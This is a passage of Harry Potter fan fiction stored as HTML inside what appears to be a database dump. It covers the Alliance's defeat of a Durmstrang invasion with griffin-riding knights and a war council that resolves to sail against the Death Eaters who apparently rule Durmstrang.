the trolls, for as large and strong as they\nwere, they were also incredibly stupid and thus stood no chance against the\nMage Knights.&nbsp; Indeed, Sirius even had\nthe luxury to turn into his dog form to snap at one troll&#8217;s throat.&nbsp; Ron, for one, enjoyed flinging enemy\nsoldiers into the trolls&#8217; faces.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Soon, the writing\nwas on the wall for Durmstrang: the battle was lost and the invasion was a\ndisaster.&nbsp; They had much tougher\nsoldiers than the Alliance, and even had the aid of dementors and trolls.&nbsp; Yet, they still could not beat the\ncourageous Alliance soldiers who were fighting to protect their beloved\nhomeland.&nbsp; Reluctantly, Karkaroff\nordered for retreat.&nbsp; Without a thought\nof regret, the Durmstrang soldiers dropped their weapons and made a mad dash\nfor their ships.&nbsp; A good number were\nslaughtered by the pursuing Alliance soldiers, but most escaped onto their\nships.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The Alliance\nsoldiers stood on the beach as the Durmstrang ships started sailing away.&nbsp; The Alliance rulers had been hoping to wipe\nout the entire strength of Durmstrang in the battle and end the threat once and\nfor all.&nbsp; Unfortunately, most were going\nto escape and prepare for perhaps another invasion of Magiterran.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;They&#8217;re getting\naway!&#8221; yelled Draco.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Oh no they&#8217;re\nnot!&#8221; shouted Ron.&nbsp; &#8220;We only used our\npawns, rooks, and knights to fight the main battle.&nbsp; Now as the enemy starts to retreat, we can release our bishops on\nthem!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;What in Merlin&#8217;s\nname are you talking about?&#8221; demanded Draco.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron simply grinned\nand said, &#8220;The Gryffindor Mage Knights have a secret weapon.&#8221;&nbsp; He signaled the herald, Neville Longbottom who\nwas astride his horse at the top of the cliff.&nbsp;\nNeville caught sight of Ron and blew his trumpet as loud as he\ncould.&nbsp; What followed was one of the\nmost amazing sights ever.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Griffins!&nbsp; Gryffindor Mage Knights were riding hundreds\nof golden griffins flying through the air!&nbsp;\nRon beamed at them as they flew over the heads of the amazed Alliance\nsoldiers.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;This is the\nsecret weapon of the Kingdom of Gryffindor!&#8221; announced Ron.&nbsp; &#8220;The Mage Knight Griffin Riders!&nbsp; Harry and I have been developing these in secret\nfor the past two years.&nbsp; This is their\nfirst try out.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">All of the\nAlliance soldiers stared at the griffins, amazed as they swooped down on the\nDurmstrang ships.&nbsp; The Mage Knights\nriding the griffins shot bolts of lightning down at the ships, destroying each\nand every one of them.&nbsp; Karkaroff\nperished as his ship blew up from a griffin attack.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Thus, the supposed\ninvasion of Magiterran ended in disaster for Durmstrang and glorious victory\nfor the Alliance.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N I can&#8217;t\nbelieve I have to explain this; it should be easy to figure out.&nbsp; Female Mage Knights, whether they are\nmarried or single, always go by their maiden names.&nbsp; So as a Mage Knight, Hermione is Sir Hermione Granger, but at the\nsame time she&#8217;s Queen Hermione Potter of Gryffindor.&nbsp; There, did that help clarify things?&nbsp; So R/R this chapter please.&nbsp;\nNext: the good guys need to decide the next course of action.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(123, 16, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\nChapter\n16: Council of War\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione was\nhaving a nightmare.&nbsp; She dreamt that she\nwas running down the halls of Durmstrang palace in her nightgown.&nbsp; There were hands, rotten hands like those of\na dementor grabbing at her from the walls as she ran down the dark\nhallways.&nbsp; She didn&#8217;t know what she was\nrunning from but soon, the hallway became the Chamber of Secrets located below\nthe capitol of the Kingdom of Slytherin.&nbsp;\nSuddenly one of the hands grabbed a hold of her arm and spun her around.&nbsp; She stared up into two malicious gleaming\nscarlet eyes and she heard a high-pitched laugh, &#8220;You are mine now, mudblood!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione sprang up\nscreaming.&nbsp; Her body was shaking and she\nfelt tears fall down her cheeks.&nbsp; She\njumped a little when a pair of strong arms encircled her gently.&nbsp; Harry had woken up from her scream.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Are you alright,\nHermione?&#8221;&nbsp; Hermione&#8217;s shaking decreased\nas she buried her face into Harry&#8217;s chest.&nbsp;\nShe sobbed on him for some time while Harry rubbed her back and\nwhispered soothing words to her.&nbsp; They\nwere still in the cave and were sleeping in the warm blankets they had conjured\nup.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I can&#8217;t believe\nhe&#8217;s back,&#8221; she said, still sobbing on Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry sighed.&nbsp; &#8220;We all thought he was gone.&nbsp; I just suppose evil doesn&#8217;t die out that\neasily.&#8221;&nbsp; He pushed Hermione back so he could\nlook into her eyes.&nbsp; They were puffy and\nred from crying.&nbsp; &#8220;You do know that\nwe&#8217;re the one&#8217;s who have to finish him off right?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione\nnodded.&nbsp; Harry embraced her again and\nshe melted in his arms.&nbsp; &#8220;I&#8217;m scared as\nwell,&#8221; he said.&nbsp; &#8220;But we can both be\nbrave if we stick together.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione looked up\nat him.&nbsp; Slowly, she pulled him into a\ndeep passionate kiss and let instinct take over from there.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Back at the cliffs\nof Little Hangleton, a discussion was taking place between the commanders of\nthe Alliance militaries.&nbsp; The topic was\non the next course of action, whether to just head home or to end the\nDurmstrang threat once and for all.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Listen to me,&#8221;\nsaid Ron, &#8220;When you turn the tide, you don&#8217;t just sit around and wait for your\nopponent to get his remaining pawns promoted.&nbsp;\nYou go in for check mate.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;This isn&#8217;t a\ngame, General Weasley sir,&#8221; said Oliver Wood.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Well, maybe I see\nit as a game,&#8221; said Ron sarcastically.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Draco stood\nup.&nbsp; &#8220;We&#8217;ve obviously dealt with this\nthreat big time.&nbsp; I just say we pack our\nbags and go home.&nbsp; I mean, it&#8217;s obvious\nthat Viktor Krum was just jealous of our wealth and power and wanted it for\nhimself&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;That&#8217;s not true,&#8221;\nsaid Ron and Ginny at the same time.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Draco was about to\nretort when Dumbledore raised a hand and said, &#8220;I believe we should hear them\nout.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Remus turned to\nthe Weasleys, &#8220;What makes you so sure that&#8217;s not true?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron spoke, &#8220;We&#8217;ve\nbeen to Durmstrang ourselves and I&#8217;ll tell you now that it&#8217;s not a nice\nplace.&nbsp; Legalized slavery and oppression\nis prevalent.&nbsp; But we found out that up\nuntil two years ago, Krum was actually a decent guy.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Draco was about to\nsneer but a look from Dumbledore silenced him.&nbsp;\nSirius pressed on, &#8220;Your point?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Two years ago was\nalso when the Alliance defeated the Death Eaters,&#8221; said Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;That could all be\ncoincidence, though,&#8221; said Remus.&nbsp;\nSirius nodded his acknowledgement while Draco smirked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Harry didn&#8217;t\nthink so,&#8221; said Ginny.&nbsp; That caught\neveryone&#8217;s attention.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Sirius still wasn&#8217;t\nquite convinced, &#8220;But still&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Listen to us,&#8221;\nsaid Ginny.&nbsp; &#8220;While we were in\nDurmstrang, we ran into this mad couple called the Lestranges&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Kinda reminded me\nof the Malfoys,&#8221; said Ron.&nbsp; Draco\nscowled at him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ginny\ncontinued.&nbsp; &#8220;They said that they wanted\nto present Harry to their master.&nbsp; At\nfirst we thought he was referring to Krum, but now that I think about it, that\ndoesn&#8217;t make any sense.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Remus caught\non.&nbsp; &#8220;Because Krum wanted Hermione.&nbsp; Which would mean that he&#8217;d want Harry as far\naway from him as possible.&#8221;&nbsp; Ron nodded.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;There is also the\nfact that the twin royal highnesses were kidnapped by that woman, Flame,&#8221; said\nGinny.&nbsp; &#8220;She claimed to be the sister of\nIcicle, a known Death Eater.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Draco suddenly\nlooked alarmed.&nbsp; &#8220;Are you suggesting\nthat some Death Eaters escaped to Durmstrang and took over there after we beat\nthem here?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I believe that\nthat is precisely what they are suggesting,&#8221; said Dumbledore looking\ngrave.&nbsp; &#8220;We never knew how many Death\nEaters there were all together.&nbsp; It is\ncompletely conceivable that some of them escaped and fled across the sea.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Either that or\nYou-know-who smuggled them into Durmstrang previously for the purpose of\nwanting Durmstrang as well as Magiterran,&#8221; said Oliver Wood.&nbsp; &#8220;When the Magiterran Death Eaters were\ndefeated, the Durmstrang Death Eaters took over.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;But this all just\nspeculation,&#8221; argued Draco.&nbsp; &#8220;We need\nsolid proof that the Death Eaters have taken over Durmstrang.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Dumbldore, Remus,\nand Sirius had nothing to say to this.&nbsp;\nRon however, was unfazed.&nbsp; &#8220;You\nwant proof?&#8221; he said.&nbsp; He pulled out a\npiece of wood and threw it on the table.&nbsp;\n&#8220;There&#8217;s your proof.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;What is it?&#8221;\nasked Sirius.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;A piece of the\nmast of the Durmstrang flagship,&#8221; said Ron.&nbsp;\n&#8220;Look at the markings on it.&#8221;&nbsp; The\ncommanders all glanced at the markings and gasped.&nbsp; Burnt on the wood was a livid skull with a serpent protruding\nfrom its mouth.&nbsp; It was the Dark Mark,\nthe symbol of Voldemort.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;If you&#8217;re still\nnot convinced, go check out the body of the Durmstrang commander,&#8221; said\nGinny.&nbsp; She was referring to the body of\nKarkaroff, which they had found amongst the wreckage of the flagship.&nbsp; &#8220;We found the exact same mark on his arm.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;But, but&#8230;&#8221;\nspluttered Draco.&nbsp; He tried to come off\nwith a retort but couldn&#8217;t think up any.&nbsp;\nThe other commanders were all convinced of the Weasley&#8217;s point.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;So I see that it\nis decided,&#8221; said Dumbledore.&nbsp; &#8220;A\nremnant of the Death Eaters have taken control of Durmstrang and are probably\ncontrolling Viktor Krum with the Imperius Curse.&#8221;&nbsp; He took a deep breath.&nbsp;\n&#8220;All of us here have a notion that Death Eaters are our\nresponsibility.&nbsp; Though I am not\ninclined to agree, I still fully realize that we are now that only ones who can\nfree Durmstrang from the yoke of the Death Eaters.&nbsp; Therefore, tomorrow we shall sail our armies to Durmstrang.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">All of the\ncommanders showed their full support.&nbsp;\nDraco was reluctant but he made it clear that he was in.&nbsp; Everyone from Magiterran had suffered from\nthe Death Eaters.&nbsp; Everyone from\nMagiterran could imagine the suffering the people of Durmstrang went through\nbecause they were under the yoke of the Death Eaters.&nbsp; For that reason, everyone in Magiterran fully supported the\nAlliance&#8217;s move to invade Durmstrang and wipe out the Death Eater threat once\nand for all.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The following day\nat Beauxbatons port was quite a sight to see.&nbsp;\nAn entire armada of ships from all four kingdoms set sail that day.&nbsp; Flags of red, yellow, blue, and green were\nwaved as the Alliance military set sail to go to war with their old enemy once\nmore.&nbsp; At the head of the armada was the\nflagship, flying the flag of Hogwarts.&nbsp;\nOn that ship were Dumbledore, Sirius, Remus, Ron, Ginny, Draco, and all\nthe commanders of the Alliance militaries.&nbsp;\nAlso on the ship were King Justin of Hufflepuff, Queen Penelope of\nRavenclaw, Oliver Wood, and all of the Mage Knights.&nbsp; Neville Longbottom, being the Gryffindor herald was also allowed\non the flagship.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hagrid had also\ncome along and had his heart set on joining the Griffin Riders.&nbsp; Sirius had a few words to say that.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Hagrid, you&#8217;re\ngoing to war riding on Buckbeak?&#8221;&nbsp; He\nwas referring to the hippogriff Hagrid had brought with him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hagrid\nbeamed.&nbsp; &#8220;Course I&#8217;m goin&#8217; on\nBeaky.&nbsp; I would a liked &#8216;em griffins fer\nsure but Beaky &#8216;ere is all ready fer war and &#8216;e&#8217;s used ta me.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Little did Hagrid\nknow that Sirius was actually referring to his doubt that Buckbeak could carry\nsomeone as large as Hagrid.&nbsp; Sirius\ngrinned and said, &#8220;OK, Hagrid, if you say so.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Thus, the great\nAlliance armada set sail that day.&nbsp; It\nwas the first and last time the Alliance ever invaded another country.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N Sorry this\nwasn&#8217;t much but I needed a chapter to connect the before to the one that comes\nnext.&nbsp; I hope you liked this.&nbsp; So R/R.&nbsp;\nNext: The Alliance invades Durmstrang!&nbsp;\nAnd the Dark Lord moves.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
